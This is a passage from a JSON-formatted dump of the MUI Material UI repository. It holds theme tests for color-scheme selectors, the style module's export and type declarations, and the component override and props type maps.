});\n      const sheets = theme.generateStyleSheets();\n      sinon.assert.match(sheets, [\n        {\n          ':root': sheets[0][':root'], // non-colors related variables\n        },\n        {\n          ':root': sheets[1][':root'], // dark palette\n          '@media (prefers-color-scheme: dark)': {\n            // dark specific variables\n            ':root': sheets[1]['@media (prefers-color-scheme: dark)'][':root'],\n          },\n        },\n        {\n          '@media (prefers-color-scheme: light)': {\n            ':root': sheets[2]['@media (prefers-color-scheme: light)'][':root'], // light palette\n          },\n        },\n      ]);\n    });\n\n    it('should use default class selector', () => {\n      const theme = extendTheme({\n        colorSchemes: { light: true, dark: true },\n        colorSchemeSelector: 'class',\n      });\n      expect(theme.generateStyleSheets().flatMap((sheet) => Object.keys(sheet))).to.deep.equal([\n        ':root',\n        ':root, .light',\n        '.dark',\n      ]);\n    });\n\n    it('should use a custom class selector', () => {\n      const theme = extendTheme({\n        colorSchemes: { light: true, dark: true },\n        colorSchemeSelector: '.mode-%s',\n      });\n      expect(theme.generateStyleSheets().flatMap((sheet) => Object.keys(sheet))).to.deep.equal([\n        ':root',\n        ':root, .mode-light',\n        '.mode-dark',\n      ]);\n    });\n\n    it('should use default data selector for styling', () => {\n      const theme = extendTheme({\n        colorSchemes: { light: true, dark: true },\n        colorSchemeSelector: 'data',\n      });\n\n      expect(theme.getColorSchemeSelector('light')).to.equal('[data-light] &');\n      expect(theme.getColorSchemeSelector('dark')).to.equal('[data-dark] &');\n    });\n\n    it('should use data attribute selector', () => {\n      const theme = extendTheme({\n        colorSchemes: { light: true, dark: true },\n        colorSchemeSelector: '[data-theme-%s]',\n      });\n      expect(theme.generateStyleSheets().flatMap((sheet) => Object.keys(sheet))).to.deep.equal([\n        ':root',\n        ':root, [data-theme-light]',\n        '[data-theme-dark]',\n      ]);\n    });\n\n    it('should use data attribute for styling', () => {\n      const theme = extendTheme({\n        colorSchemes: { light: true, dark: true },\n        colorSchemeSelector: '[data-theme-%s]',\n      });\n\n      expect(theme.getColorSchemeSelector('light')).to.equal('[data-theme-light] &');\n      expect(theme.getColorSchemeSelector('dark')).to.equal('[data-theme-dark] &');\n    });\n\n    it('should use a custom class selector when dark is the default', () => {\n      const theme = extendTheme({\n        colorSchemes: { light: true, dark: true },\n        colorSchemeSelector: '.mode-%s',\n        defaultColorScheme: 'dark',\n      });\n      expect(theme.generateStyleSheets().flatMap((sheet) => Object.keys(sheet))).to.deep.equal([\n        ':root',\n        '.mode-dark', // specific variables for dark\n        ':root, .mode-dark',\n        '.mode-light',\n      ]);\n    });\n\n    it('should use a custom root selector', () => {\n      const theme = extendTheme({\n        colorSchemes: { light: true, dark: true },\n        colorSchemeSelector: 'class',\n        rootSelector: ':host',\n      });\n      expect(theme.generateStyleSheets().flatMap((sheet) => Object.keys(sheet))).to.deep.equal([\n        ':host',\n        ':host, .light',\n        '.dark',\n      ]);\n    });\n  });\n\n  it('should not generate vars for modularCssLayers', () => {\n    const theme = extendTheme({\n      modularCssLayers: '@layer mui,utilities;',\n    });\n    expect(theme.vars.modularCssLayers).to.equal(undefined);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/getOverlayAlpha.ts",
    "content": "// Inspired by https://github.com/material-components/material-components-ios/blob/bca36107405594d5b7b16265a5b0ed698f85a5ee/components/Elevation/src/UIColor%2BMaterialElevation.m#L61\nexport default function getOverlayAlpha(elevation: number): number {\n  let alphaValue;\n  if (elevation < 1) {\n    alphaValue = 5.11916 * elevation ** 2;\n  } else {\n    alphaValue = 4.5 * Math.log(elevation + 1) + 2;\n  }\n  return Math.round(alphaValue * 10) / 1000;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/identifier.ts",
    "content": "export default '$$material';\n"
  },
  {
    "path": "packages/mui-material/src/styles/index.d.ts",
    "content": "import { DistributiveOmit } from '@mui/types';\n\nexport { default as THEME_ID } from './identifier';\nexport {\n  default as createTheme,\n  default as unstable_createMuiStrictModeTheme,\n  ThemeOptions,\n  Theme,\n  CssThemeVariables,\n} from './createTheme';\nexport { default as adaptV4Theme, DeprecatedThemeOptions } from './adaptV4Theme';\nexport { Shadows } from './shadows';\nexport { ZIndex } from './zIndex';\nexport {\n  CommonColors,\n  Palette,\n  PaletteColor,\n  PaletteColorOptions,\n  PaletteOptions,\n  SimplePaletteColorOptions,\n  TypeText,\n  TypeAction,\n  TypeBackground,\n  PaletteMode,\n  Color,\n} from './createPalette';\nexport { default as createColorScheme } from './createColorScheme';\nexport { default as createStyles } from './createStyles';\nexport {\n  TypographyVariants,\n  TypographyVariantsOptions,\n  TypographyStyle,\n  TypographyVariant,\n} from './createTypography';\nexport { default as responsiveFontSizes } from './responsiveFontSizes';\nexport {\n  Duration,\n  Easing,\n  Transitions,\n  TransitionsOptions,\n  duration,\n  easing,\n} from './createTransitions';\nexport { Mixins, CSSProperties, MixinsOptions } from './createMixins';\nexport {\n  Direction,\n  Breakpoint,\n  BreakpointOverrides,\n  Breakpoints,\n  BreakpointsOptions,\n  CreateMUIStyled,\n  Interpolation,\n  CSSInterpolation,\n  CSSObject,\n  css,\n  keyframes,\n  // color manipulators\n  hexToRgb,\n  rgbToHex,\n  hslToRgb,\n  decomposeColor,\n  recomposeColor,\n  getContrastRatio,\n  getLuminance,\n  emphasize,\n  alpha,\n  darken,\n  lighten,\n  ColorFormat,\n  ColorObject,\n  StyledEngineProvider,\n  SxProps,\n} from '@mui/system';\nexport { unstable_createBreakpoints } from '@mui/system/createBreakpoints';\n// TODO: Remove this function in v6.\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function experimental_sx(): any;\nexport { default as useTheme } from './useTheme';\nexport { default as useThemeProps } from './useThemeProps';\nexport * from './useThemeProps';\nexport { default as styled } from './styled';\nexport { default as ThemeProvider, ThemeProviderProps } from './ThemeProvider';\nexport { ComponentsProps, ComponentsPropsList } from './props';\nexport { ComponentsVariants } from './variants';\nexport { ComponentsOverrides, ComponentNameToClassKey } from './overrides';\nexport { Components } from './components';\nexport { getUnit as unstable_getUnit, toUnitless as unstable_toUnitless } from './cssUtils';\n\nexport type ClassNameMap<ClassKey extends string = string> = Record<ClassKey, string>;\n\nexport interface StyledComponentProps<ClassKey extends string = string> {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ClassNameMap<ClassKey>> | undefined;\n}\n\n/**\n * All standard components exposed by `material-ui` are `StyledComponents` with\n * certain `classes`, on which one can also set a top-level `className` and inline\n * `style`.\n * @deprecated will be removed in v5 for internal usage only\n */\nexport type StandardProps<\n  ComponentProps,\n  ClassKey extends string,\n  Removals extends keyof ComponentProps = never,\n> = DistributiveOmit<ComponentProps, 'classes' | Removals> &\n  StyledComponentProps<ClassKey> & {\n    className?: string | undefined;\n    ref?:\n      | (ComponentProps extends { ref?: infer RefType | undefined } ? RefType : React.Ref<unknown>)\n      | undefined;\n    style?: React.CSSProperties | undefined;\n  };\n\nexport namespace PropTypes {\n  // keeping the type structure for backwards compat\n  type Color = 'inherit' | 'primary' | 'secondary' | 'default';\n}\n\nexport { default as makeStyles } from './makeStyles';\nexport { default as withStyles } from './withStyles';\nexport { default as withTheme } from './withTheme';\n\nexport * from './ThemeProviderWithVars';\nexport type { StorageManager } from '@mui/system/cssVars';\n\nexport { default as extendTheme } from './createThemeWithVars';\n\nexport type {\n  ColorSchemeOverrides,\n  SupportedColorScheme,\n  ColorSystem,\n  CssVarsPalette,\n  Opacity,\n  Overlays,\n  PaletteAlert,\n  PaletteActionChannel,\n  PaletteAppBar,\n  PaletteAvatar,\n  PaletteChip,\n  PaletteColorChannel,\n  PaletteCommonChannel,\n  PaletteFilledInput,\n  PaletteLinearProgress,\n  PaletteSkeleton,\n  PaletteSlider,\n  PaletteSnackbarContent,\n  PaletteSpeedDialAction,\n  PaletteStepConnector,\n  PaletteStepContent,\n  PaletteSwitch,\n  PaletteTableCell,\n  PaletteTextChannel,\n  PaletteTooltip,\n  CssVarsThemeOptions,\n  CssVarsTheme,\n  ThemeVars,\n  ThemeCssVar,\n  ThemeCssVarOverrides,\n  ColorSystemOptions,\n  Shape,\n  ShapeOptions,\n} from './createThemeWithVars';\nexport { default as getOverlayAlpha } from './getOverlayAlpha';\nexport { default as shouldSkipGeneratingVar } from './shouldSkipGeneratingVar';\n\n// Private methods for creating parts of the theme\nexport { default as private_createTypography } from './createTypography';\nexport { default as private_excludeVariablesFromRoot } from './excludeVariablesFromRoot';\n"
  },
  {
    "path": "packages/mui-material/src/styles/index.js",
    "content": "export { default as THEME_ID } from './identifier';\nexport { default as adaptV4Theme } from './adaptV4Theme';\nexport {\n  hexToRgb,\n  rgbToHex,\n  hslToRgb,\n  decomposeColor,\n  recomposeColor,\n  getContrastRatio,\n  getLuminance,\n  emphasize,\n  alpha,\n  darken,\n  lighten,\n  css,\n  keyframes,\n} from '@mui/system';\nexport { unstable_createBreakpoints } from '@mui/system/createBreakpoints';\n// TODO: Remove this function in v6.\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function experimental_sx() {\n  throw /* minify-error */ new Error(\n    'MUI: The `experimental_sx` has been moved to `theme.unstable_sx`.' +\n      'For more details, see https://github.com/mui/material-ui/pull/35150.',\n  );\n}\nexport { default as createTheme } from './createTheme';\nexport { default as unstable_createMuiStrictModeTheme } from './createMuiStrictModeTheme';\nexport { default as createStyles } from './createStyles';\nexport { getUnit as unstable_getUnit, toUnitless as unstable_toUnitless } from './cssUtils';\nexport { default as responsiveFontSizes } from './responsiveFontSizes';\nexport { default as createTransitions, duration, easing } from './createTransitions';\nexport { default as createColorScheme } from './createColorScheme';\nexport { default as useTheme } from './useTheme';\nexport { default as useThemeProps } from './useThemeProps';\nexport { default as styled } from './styled';\nexport { default as ThemeProvider } from './ThemeProvider';\nexport { StyledEngineProvider } from '@mui/system';\n// The legacy utilities from @mui/styles\n// These are just empty functions that throws when invoked\nexport { default as makeStyles } from './makeStyles';\nexport { default as withStyles } from './withStyles';\nexport { default as withTheme } from './withTheme';\n\nexport * from './ThemeProviderWithVars';\nexport { default as extendTheme } from './createThemeWithVars';\nexport { default as experimental_extendTheme } from './experimental_extendTheme'; // TODO: Remove in v7\nexport { default as getOverlayAlpha } from './getOverlayAlpha';\nexport { default as shouldSkipGeneratingVar } from './shouldSkipGeneratingVar';\n\n// Private methods for creating parts of the theme\nexport { default as private_createTypography } from './createTypography';\nexport { default as private_createMixins } from './createMixins';\nexport { default as private_excludeVariablesFromRoot } from './excludeVariablesFromRoot';\n"
  },
  {
    "path": "packages/mui-material/src/styles/index.spec.ts",
    "content": "import { styled, createTheme } from '@mui/material/styles';\n\n// Can use the unstable_sx in the styled() utility\nconst Test = styled('div')(({ theme }) =>\n  theme.unstable_sx({\n    color: 'primary.main',\n    bgcolor: 'primary.light',\n    m: 2,\n  }),\n);\n\n// Can use the unstable_sx in the theme's variants\nconst customTheme = createTheme({\n  components: {\n    MuiButton: {\n      variants: [\n        {\n          props: {},\n          style: ({ theme }) =>\n            theme.unstable_sx({\n              m: 2,\n              p: 1,\n            }),\n        },\n      ],\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/makeStyles.d.ts",
    "content": "export default function makeStyles(stylesCreator: any, options?: object): never;\n"
  },
  {
    "path": "packages/mui-material/src/styles/makeStyles.js",
    "content": "export default function makeStyles() {\n  throw /* minify-error */ new Error(\n    'MUI: makeStyles is no longer exported from @mui/material/styles.\\n' +\n      'You have to import it from @mui/styles.\\n' +\n      'See https://mui.com/r/migration-v4/#mui-material-styles for more details.',\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/overrides.ts",
    "content": "import { CSSObject, CSSInterpolation, Interpolation } from '@mui/system';\nimport { PopperClassKey } from '../Popper';\nimport { ComponentsPropsList } from './props';\nimport { AccordionActionsClassKey } from '../AccordionActions';\nimport { AccordionClassKey } from '../Accordion';\nimport { AccordionDetailsClassKey } from '../AccordionDetails';\nimport { AccordionSummaryClassKey } from '../AccordionSummary';\nimport { AlertClassKey } from '../Alert';\nimport { AlertTitleClassKey } from '../AlertTitle';\nimport { AppBarClassKey } from '../AppBar';\nimport { AutocompleteClassKey } from '../Autocomplete';\nimport { AvatarClassKey } from '../Avatar';\nimport { AvatarGroupClassKey } from '../AvatarGroup';\nimport { BackdropClassKey } from '../Backdrop';\nimport { BadgeClassKey } from '../Badge';\nimport { BottomNavigationActionClassKey } from '../BottomNavigationAction';\nimport { BottomNavigationClassKey } from '../BottomNavigation';\nimport { BreadcrumbsClassKey } from '../Breadcrumbs';\nimport { ButtonBaseClassKey } from '../ButtonBase';\nimport { ButtonClassKey } from '../Button';\nimport { ButtonGroupClassKey } from '../ButtonGroup';\nimport { CardActionAreaClassKey } from '../CardActionArea';\nimport { CardActionsClassKey } from '../CardActions';\nimport { CardClassKey } from '../Card';\nimport { CardContentClassKey } from '../CardContent';\nimport { CardHeaderClassKey } from '../CardHeader';\nimport { CardMediaClassKey } from '../CardMedia';\nimport { CheckboxClassKey } from '../Checkbox';\nimport { ChipClassKey } from '../Chip';\nimport { CircularProgressClassKey } from '../CircularProgress';\nimport { CollapseClassKey } from '../Collapse';\nimport { ContainerClassKey } from '../Container';\nimport { DialogActionsClassKey } from '../DialogActions';\nimport { DialogClassKey } from '../Dialog';\nimport { DialogContentClassKey } from '../DialogContent';\nimport { DialogContentTextClassKey } from '../DialogContentText';\nimport { DialogTitleClassKey } from '../DialogTitle';\nimport { DividerClassKey } from '../Divider';\nimport { DrawerClassKey } from '../Drawer';\nimport { FabClassKey } from '../Fab';\nimport { FilledInputClassKey } from '../FilledInput';\nimport { FormControlClassKey } from '../FormControl';\nimport { FormControlLabelClassKey } from '../FormControlLabel';\nimport { FormGroupClassKey } from '../FormGroup';\nimport { FormHelperTextClassKey } from '../FormHelperText';\nimport { FormLabelClassKey } from '../FormLabel';\nimport { GridClassKey } from '../Grid';\nimport { IconButtonClassKey } from '../IconButton';\nimport { IconClassKey } from '../Icon';\nimport { ImageListClassKey } from '../ImageList';\nimport { ImageListItemBarClassKey } from '../ImageListItemBar';\nimport { ImageListItemClassKey } from '../ImageListItem';\nimport { InputAdornmentClassKey } from '../InputAdornment';\nimport { InputBaseClassKey } from '../InputBase';\nimport { InputClassKey } from '../Input';\nimport { InputLabelClassKey } from '../InputLabel';\nimport { LinearProgressClassKey } from '../LinearProgress';\nimport { LinkClassKey } from '../Link';\nimport { ListClassKey } from '../List';\nimport { ListItemAvatarClassKey } from '../ListItemAvatar';\nimport { ListItemClassKey } from '../ListItem';\nimport { ListItemButtonClassKey } from '../ListItemButton';\nimport { ListItemIconClassKey } from '../ListItemIcon';\nimport { ListItemSecondaryActionClassKey } from '../ListItemSecondaryAction';\nimport { ListItemTextClassKey } from '../ListItemText';\nimport { ListSubheaderClassKey } from '../ListSubheader';\nimport { MenuClassKey } from '../Menu';\nimport { MenuItemClassKey } from '../MenuItem';\nimport { MenuListClassKey } from '../MenuList';\nimport { MobileStepperClassKey } from '../MobileStepper';\nimport { ModalClassKey } from '../Modal';\nimport { NativeSelectClassKey } from '../NativeSelect';\nimport { OutlinedInputClassKey } from '../OutlinedInput';\nimport { PaginationClassKey } from '../Pagination';\nimport { PaginationItemClassKey } from '../PaginationItem';\nimport { PaperClassKey } from '../Paper';\nimport { PopoverClassKey } from '../Popover';\nimport { RadioClassKey } from '../Radio';\nimport { RadioGroupClassKey } from '../RadioGroup';\nimport { RatingClassKey } from '../Rating';\nimport { ScopedCssBaselineClassKey } from '../ScopedCssBaseline';\nimport { SelectClassKey } from '../Select';\nimport { SkeletonClassKey } from '../Skeleton';\nimport { SliderClassKey } from '../Slider';\nimport { SnackbarClassKey } from '../Snackbar';\nimport { SnackbarContentClassKey } from '../SnackbarContent';\nimport { SpeedDialClassKey } from '../SpeedDial';\nimport { SpeedDialActionClassKey } from '../SpeedDialAction';\nimport { SpeedDialIconClassKey } from '../SpeedDialIcon';\nimport { StackClassKey } from '../Stack';\nimport { StepButtonClasskey } from '../StepButton';\nimport { StepClasskey } from '../Step';\nimport { StepConnectorClasskey } from '../StepConnector';\nimport { StepContentClasskey } from '../StepContent';\nimport { StepIconClasskey } from '../StepIcon';\nimport { StepLabelClasskey } from '../StepLabel';\nimport { StepperClasskey } from '../Stepper';\nimport { SvgIconClassKey } from '../SvgIcon';\nimport { SwitchClassKey } from '../Switch';\nimport { TabClassKey } from '../Tab';\nimport { TableBodyClassKey } from '../TableBody';\nimport { TableCellClassKey } from '../TableCell';\nimport { TableClassKey } from '../Table';\nimport { TableContainerClassKey } from '../TableContainer';\nimport { TableFooterClassKey } from '../TableFooter';\nimport { TableHeadClassKey } from '../TableHead';\nimport { TablePaginationClassKey } from '../TablePagination';\nimport { TablePaginationActionsClassKey } from '../TablePaginationActions';\nimport { TableRowClassKey } from '../TableRow';\nimport { TableSortLabelClassKey } from '../TableSortLabel';\nimport { TabsClassKey } from '../Tabs';\nimport { TextFieldClassKey } from '../TextField';\nimport { ToggleButtonClassKey } from '../ToggleButton';\nimport { ToggleButtonGroupClassKey } from '../ToggleButtonGroup';\nimport { ToolbarClassKey } from '../Toolbar';\nimport { TooltipClassKey } from '../Tooltip';\nimport { TypographyClassKey } from '../Typography';\n\nexport type OverridesStyleRules<\n  ClassKey extends string = string,\n  ComponentName = keyof ComponentsPropsList,\n  Theme = unknown,\n> = Record<\n  ClassKey,\n  Interpolation<\n    // Record<string, unknown> is for other props that the slot receive internally\n    // Documenting all ownerStates could be a huge work, let's wait until we have a real needs from developers.\n    (ComponentName extends keyof ComponentsPropsList\n      ? ComponentsPropsList[ComponentName] &\n          Record<string, unknown> & {\n            ownerState: ComponentsPropsList[ComponentName] & Record<string, unknown>;\n          }\n      : {}) & {\n      theme: Theme;\n    } & Record<string, unknown>\n  >\n>;\n\nexport type ComponentsOverrides<Theme = unknown> = {\n  [Name in keyof ComponentNameToClassKey]?: Partial<\n    OverridesStyleRules<ComponentNameToClassKey[Name], Name, Theme>\n  >;\n} & {\n  MuiCssBaseline?: CSSObject | string | ((theme: Theme) => CSSInterpolation) | undefined;\n};\n\nexport interface ComponentNameToClassKey {\n  MuiAlert: AlertClassKey;\n  MuiAlertTitle: AlertTitleClassKey;\n  MuiAppBar: AppBarClassKey;\n  MuiAutocomplete: AutocompleteClassKey;\n  MuiAvatar: AvatarClassKey;\n  MuiAvatarGroup: AvatarGroupClassKey;\n  MuiBackdrop: BackdropClassKey;\n  MuiBadge: BadgeClassKey;\n  MuiBottomNavigation: BottomNavigationClassKey;\n  MuiBottomNavigationAction: BottomNavigationActionClassKey;\n  MuiBreadcrumbs: BreadcrumbsClassKey;\n  MuiButton: ButtonClassKey;\n  MuiButtonBase: ButtonBaseClassKey;\n  MuiButtonGroup: ButtonGroupClassKey;\n  MuiCard: CardClassKey;\n  MuiCardActionArea: CardActionAreaClassKey;\n  MuiCardActions: CardActionsClassKey;\n  MuiCardContent: CardContentClassKey;\n  MuiCardHeader: CardHeaderClassKey;\n  MuiCardMedia: CardMediaClassKey;\n  MuiCheckbox: CheckboxClassKey;\n  MuiChip: ChipClassKey;\n  MuiCircularProgress: CircularProgressClassKey;\n  MuiCollapse: CollapseClassKey;\n  MuiContainer: ContainerClassKey;\n  MuiDialog: DialogClassKey;\n  MuiDialogActions: DialogActionsClassKey;\n  MuiDialogContent: DialogContentClassKey;\n  MuiDialogContentText: DialogContentTextClassKey;\n  MuiDialogTitle: DialogTitleClassKey;\n  MuiDivider: DividerClassKey;\n  MuiDrawer: DrawerClassKey;\n  MuiAccordion: AccordionClassKey;\n  MuiAccordionActions: AccordionActionsClassKey;\n  MuiAccordionDetails: AccordionDetailsClassKey;\n  MuiAccordionSummary: AccordionSummaryClassKey;\n  MuiFab: FabClassKey;\n  MuiFilledInput: FilledInputClassKey;\n  MuiFormControl: FormControlClassKey;\n  MuiFormControlLabel: FormControlLabelClassKey;\n  MuiFormGroup: FormGroupClassKey;\n  MuiFormHelperText: FormHelperTextClassKey;\n  MuiFormLabel: FormLabelClassKey;\n  MuiGrid: GridClassKey;\n  MuiIcon: IconClassKey;\n  MuiIconButton: IconButtonClassKey;\n  MuiImageList: ImageListClassKey;\n  MuiImageListItem: ImageListItemClassKey;\n  MuiImageListItemBar: ImageListItemBarClassKey;\n  MuiInput: InputClassKey;\n  MuiInputAdornment: InputAdornmentClassKey;\n  MuiInputBase: InputBaseClassKey;\n  MuiInputLabel: InputLabelClassKey;\n  MuiLinearProgress: LinearProgressClassKey;\n  MuiLink: LinkClassKey;\n  MuiList: ListClassKey;\n  MuiListItem: ListItemClassKey;\n  MuiListItemButton: ListItemButtonClassKey;\n  MuiListItemAvatar: ListItemAvatarClassKey;\n  MuiListItemIcon: ListItemIconClassKey;\n  MuiListItemSecondaryAction: ListItemSecondaryActionClassKey;\n  MuiListItemText: ListItemTextClassKey;\n  MuiListSubheader: ListSubheaderClassKey;\n  MuiMenu: MenuClassKey;\n  MuiMenuItem: MenuItemClassKey;\n  MuiMenuList: MenuListClassKey;\n  MuiMobileStepper: MobileStepperClassKey;\n  MuiModal: ModalClassKey;\n  MuiNativeSelect: NativeSelectClassKey;\n  MuiOutlinedInput: OutlinedInputClassKey;\n  MuiPagination: PaginationClassKey;\n  MuiPaginationItem: PaginationItemClassKey;\n  MuiPaper: PaperClassKey;\n  MuiPopover: PopoverClassKey;\n  MuiPopper: PopperClassKey;\n  MuiRadio: RadioClassKey;\n  MuiRadioGroup: RadioGroupClassKey;\n  MuiRating: RatingClassKey;\n  MuiScopedCssBaseline: ScopedCssBaselineClassKey;\n  MuiSelect: SelectClassKey;\n  MuiSkeleton: SkeletonClassKey;\n  MuiSlider: SliderClassKey;\n  MuiSnackbar: SnackbarClassKey;\n  MuiSnackbarContent: SnackbarContentClassKey;\n  MuiSpeedDial: SpeedDialClassKey;\n  MuiSpeedDialAction: SpeedDialActionClassKey;\n  MuiSpeedDialIcon: SpeedDialIconClassKey;\n  MuiStack: StackClassKey;\n  MuiStep: StepClasskey;\n  MuiStepButton: StepButtonClasskey;\n  MuiStepConnector: StepConnectorClasskey;\n  MuiStepContent: StepContentClasskey;\n  MuiStepIcon: StepIconClasskey;\n  MuiStepLabel: StepLabelClasskey;\n  MuiStepper: StepperClasskey;\n  MuiSvgIcon: SvgIconClassKey;\n  MuiSwitch: SwitchClassKey;\n  MuiTab: TabClassKey;\n  MuiTable: TableClassKey;\n  MuiTableBody: TableBodyClassKey;\n  MuiTableCell: TableCellClassKey;\n  MuiTableContainer: TableContainerClassKey;\n  MuiTableFooter: TableFooterClassKey;\n  MuiTableHead: TableHeadClassKey;\n  MuiTablePagination: TablePaginationClassKey;\n  MuiTablePaginationActions: TablePaginationActionsClassKey;\n  MuiTableRow: TableRowClassKey;\n  MuiTableSortLabel: TableSortLabelClassKey;\n  MuiTabs: TabsClassKey;\n  MuiTextField: TextFieldClassKey;\n  MuiToggleButton: ToggleButtonClassKey;\n  MuiToggleButtonGroup: ToggleButtonGroupClassKey;\n  MuiToolbar: ToolbarClassKey;\n  MuiTooltip: TooltipClassKey;\n  MuiTypography: TypographyClassKey;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/props.ts",
    "content": "import { AlertProps } from '../Alert';\nimport { AlertTitleProps } from '../AlertTitle';\nimport { AppBarProps } from '../AppBar';\nimport { AutocompleteProps } from '../Autocomplete';\nimport { AvatarProps } from '../Avatar';\nimport { AvatarGroupProps } from '../AvatarGroup';\nimport { BackdropProps } from '../Backdrop';\nimport { BadgeProps } from '../Badge';\nimport { BottomNavigationActionProps } from '../BottomNavigationAction';\nimport { BottomNavigationProps } from '../BottomNavigation';\nimport { BreadcrumbsProps } from '../Breadcrumbs';\nimport { ButtonBaseProps } from '../ButtonBase';\nimport { ButtonGroupProps } from '../ButtonGroup';\nimport { ButtonProps } from '../Button';\nimport { CardActionAreaProps } from '../CardActionArea';\nimport { CardActionsProps } from '../CardActions';\nimport { CardContentProps } from '../CardContent';\nimport { CardHeaderProps } from '../CardHeader';\nimport { CardMediaProps } from '../CardMedia';\nimport { CardProps } from '../Card';\nimport { CheckboxProps } from '../Checkbox';\nimport { ChipProps } from '../Chip';\nimport { CircularProgressProps } from '../CircularProgress';\nimport { CollapseProps } from '../Collapse';\nimport { ContainerProps } from '../Container';\nimport { CssBaselineProps } from '../CssBaseline';\nimport { DialogActionsProps } from '../DialogActions';\nimport { DialogContentProps } from '../DialogContent';\nimport { DialogContentTextProps } from '../DialogContentText';\nimport { DialogProps } from '../Dialog';\nimport { DialogTitleProps } from '../DialogTitle';\nimport { DividerProps } from '../Divider';\nimport { DrawerProps } from '../Drawer';\nimport { AccordionActionsProps } from '../AccordionActions';\nimport { AccordionDetailsProps } from '../AccordionDetails';\nimport { AccordionProps } from '../Accordion';\nimport { AccordionSummaryProps } from '../AccordionSummary';\nimport { FabProps } from '../Fab';\nimport { FilledInputProps } from '../FilledInput';\nimport { FormControlLabelProps } from '../FormControlLabel';\nimport { FormControlProps } from '../FormControl';\nimport { FormGroupProps } from '../FormGroup';\nimport { FormHelperTextProps } from '../FormHelperText';\nimport { FormLabelProps } from '../FormLabel';\nimport { GridProps } from '../Grid';\nimport { IconButtonProps } from '../IconButton';\nimport { IconProps } from '../Icon';\nimport { ImageListProps } from '../ImageList';\nimport { ImageListItemBarProps } from '../ImageListItemBar';\nimport { ImageListItemProps } from '../ImageListItem';\nimport { InputAdornmentProps } from '../InputAdornment';\nimport { InputBaseProps } from '../InputBase';\nimport { InputLabelProps } from '../InputLabel';\nimport { InputProps } from '../Input';\nimport { LinearProgressProps } from '../LinearProgress';\nimport { LinkProps } from '../Link';\nimport { ListItemAvatarProps } from '../ListItemAvatar';\nimport { ListItemIconProps } from '../ListItemIcon';\nimport { ListItemProps } from '../ListItem';\nimport { ListItemButtonProps } from '../ListItemButton';\nimport { ListItemSecondaryActionProps } from '../ListItemSecondaryAction';\nimport { ListItemTextProps } from '../ListItemText';\nimport { ListProps } from '../List';\nimport { ListSubheaderProps } from '../ListSubheader';\nimport { MenuItemProps } from '../MenuItem';\nimport { MenuListProps } from '../MenuList';\nimport { MenuProps } from '../Menu';\nimport { MobileStepperProps } from '../MobileStepper';\nimport { ModalProps } from '../Modal';\nimport { NativeSelectProps } from '../NativeSelect';\nimport { UseMediaQueryOptions } from '../useMediaQuery';\nimport { OutlinedInputProps } from '../OutlinedInput';\nimport { PaginationProps } from '../Pagination';\nimport { PaginationItemProps } from '../PaginationItem';\nimport { PaperProps } from '../Paper';\nimport { PopoverProps } from '../Popover';\nimport { RadioGroupProps } from '../RadioGroup';\nimport { RadioProps } from '../Radio';\nimport { RatingProps } from '../Rating';\nimport { ScopedCssBaselineProps } from '../ScopedCssBaseline';\nimport { SelectProps } from '../Select';\nimport { SkeletonProps } from '../Skeleton';\nimport { SliderProps } from '../Slider';\nimport { SnackbarContentProps } from '../SnackbarContent';\nimport { SnackbarProps } from '../Snackbar';\nimport { SpeedDialProps } from '../SpeedDial';\nimport { SpeedDialActionProps } from '../SpeedDialAction';\nimport { SpeedDialIconProps } from '../SpeedDialIcon';\nimport { StackProps } from '../Stack';\nimport { StepButtonProps } from '../StepButton';\nimport { StepConnectorProps } from '../StepConnector';\nimport { StepContentProps } from '../StepContent';\nimport { StepIconProps } from '../StepIcon';\nimport { StepLabelProps } from '../StepLabel';\nimport { StepperProps } from '../Stepper';\nimport { StepProps } from '../Step';\nimport { SvgIconProps } from '../SvgIcon';\nimport { SwipeableDrawerProps } from '../SwipeableDrawer';\nimport { SwitchProps } from '../Switch';\nimport { TableBodyProps } from '../TableBody';\nimport { TableCellProps } from '../TableCell';\nimport { TableContainerProps } from '../TableContainer';\nimport { TableHeadProps } from '../TableHead';\nimport { TablePaginationProps } from '../TablePagination';\nimport { TablePaginationActionsProps } from '../TablePaginationActions';\nimport { TableProps } from '../Table';\nimport { TableRowProps } from '../TableRow';\nimport { TableSortLabelProps } from '../TableSortLabel';\nimport { TableFooterProps } from '../TableFooter';\nimport { TabProps } from '../Tab';\nimport { TabsProps } from '../Tabs';\nimport { TextFieldProps } from '../TextField';\nimport { ToggleButtonProps } from '../ToggleButton';\nimport { ToggleButtonGroupProps } from '../ToggleButtonGroup';\nimport { ToolbarProps } from '../Toolbar';\nimport { TooltipProps } from '../Tooltip';\nimport { TypographyProps } from '../Typography';\nimport { PopperProps } from '../Popper';\n\nexport type ComponentsProps = {\n  [Name in keyof ComponentsPropsList]?: Partial<ComponentsPropsList[Name]>;\n};\n\nexport interface ComponentsPropsList {\n  MuiAlert: AlertProps;\n  MuiAlertTitle: AlertTitleProps;\n  MuiAppBar: AppBarProps;\n  MuiAutocomplete: AutocompleteProps<any, any, any, any>;\n  MuiAvatar: AvatarProps;\n  MuiAvatarGroup: AvatarGroupProps;\n  MuiBackdrop: BackdropProps;\n  MuiBadge: BadgeProps;\n  MuiBottomNavigation: BottomNavigationProps;\n  MuiBottomNavigationAction: BottomNavigationActionProps;\n  MuiBreadcrumbs: BreadcrumbsProps;\n  MuiButton: ButtonProps;\n  MuiButtonBase: ButtonBaseProps;\n  MuiButtonGroup: ButtonGroupProps;\n  MuiCard: CardProps;\n  MuiCardActionArea: CardActionAreaProps;\n  MuiCardActions: CardActionsProps;\n  MuiCardContent: CardContentProps;\n  MuiCardHeader: CardHeaderProps;\n  MuiCardMedia: CardMediaProps;\n  MuiCheckbox: CheckboxProps;\n  MuiChip: ChipProps;\n  MuiCircularProgress: CircularProgressProps;\n  MuiCollapse: CollapseProps;\n  MuiContainer: ContainerProps;\n  MuiCssBaseline: CssBaselineProps;\n  MuiDialog: DialogProps;\n  MuiDialogActions: DialogActionsProps;\n  MuiDialogContent: DialogContentProps;\n  MuiDialogContentText: DialogContentTextProps;\n  MuiDialogTitle: DialogTitleProps;\n  MuiDivider: DividerProps;\n  